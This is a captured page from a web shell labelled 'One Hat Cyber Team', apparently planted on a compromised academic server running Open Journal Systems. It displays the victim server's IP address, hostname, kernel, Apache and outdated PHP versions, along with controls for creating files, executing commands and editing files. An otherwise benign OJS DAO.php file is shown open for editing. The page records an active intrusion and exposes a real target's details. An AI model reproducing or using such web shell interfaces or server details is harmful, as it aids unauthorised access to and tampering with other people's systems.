One Hat Cyber Team
Your IP :
216.73.216.115
Server IP :
194.44.31.54
Server :
Linux zen.imath.kiev.ua 4.18.0-553.77.1.el8_10.x86_64 #1 SMP Fri Oct 3 14:30:23 UTC 2025 x86_64
Server Software :
Apache/2.4.37 (Rocky Linux) OpenSSL/1.1.1k
PHP Version :
5.6.40
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
var
/
www
/
ojs-nosc
/
classes
/
galley
/
Edit File:
DAO.php
<?php namespace APP\galley; use PKP\db\DAOResultFactory; use PKP\galley\DAO as PKPGalleyDAO; /** * OJS-specific GalleyDAO override, including issueId filtering. */ class DAO extends PKPGalleyDAO { /** * OJS version of getExportable with $issueId filter * * @param null|mixed $pubIdType * @param null|mixed $title * @param null|mixed $author * @param null|mixed $pubIdSettingName * @param null|mixed $pubIdSettingValue * @param null|mixed $rangeInfo */ public function getExportable(int $contextId, $pubIdType = null, $title = null, $author = null, $pubIdSettingName = null, $pubIdSettingValue = null, $rangeInfo = null, ?int $issueId = null) { $q = $this->buildGetExportableQuery( $contextId, $pubIdType, $title, $author, $pubIdSettingName, $pubIdSettingValue ); // adding OJS specific issueId filter if (!is_null($issueId)) { $q->where('p.issue_id', '=', $issueId); } $result = $this->deprecatedDao->retrieveRange($q, [], $rangeInfo); return new DAOResultFactory($result, $this, 'fromRow', [], $q, [], $rangeInfo); } }
Simpan